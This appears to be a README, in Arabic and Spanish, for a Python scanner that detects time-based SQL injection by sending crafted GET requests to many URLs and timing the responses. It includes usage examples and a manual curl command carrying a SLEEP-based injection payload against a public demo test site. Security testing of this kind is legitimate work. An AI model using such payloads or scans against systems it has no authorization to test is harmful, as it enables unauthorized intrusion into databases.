
يكتشف حقن SQL المستند إلى الزمن عبر إرسال طلبات GET مخصصة إلى عناوين URL متعددة وقياس الاستجابات المتأخرة؛ ويتضمن دعمًا لملفات تعريف الارتباط (الكوكيز) للاختبارات الموثّقة.
إنه سكريبت بسيط يسمح باكتشاف ثغرات SQLi، من خلال الحصول على زمن استجابة أكبر من 20 ثانية لكل وسيط وحقن زمني (Time-based).
usage: SQLi_Sleeps2.py [-h] -u URLS -d DATA [-c COOKIE]
Realiza una petición GET a múltiples URLs con diferentes datos.
options:
-h, --help show this help message and exit
-u URLS, --urls URLS Archivo de texto con las URLs a las que se les realizará la petición GET.
-d DATA, --data DATA Archivo de texto con los datos que se agregarán a las URLs.
-c COOKIE, --cookie COOKIE
Cookie a incluir en la petición GET.
# Cookie simple
python3 script.py -u urls.txt -d data.txt -c "session=abc123"
# Múltiples cookies
python3 script.py -u urls.txt -d data.txt -c "session=abc123; user_id=456"
# Sin cookie
python3 script.py -u urls.txt -d data.txt
cat urls.txt | sed 's/FUZZ//g'
python3 SQLi_Sleeps2.py -u urls.txt -d data.txt

تحليل يدوي
time curl "http://testphp.vulnweb.com/search.php?test=query'XOR(SELECT(0)FROM(SELECT(SLEEP(5)))a)XOR'Z" -I
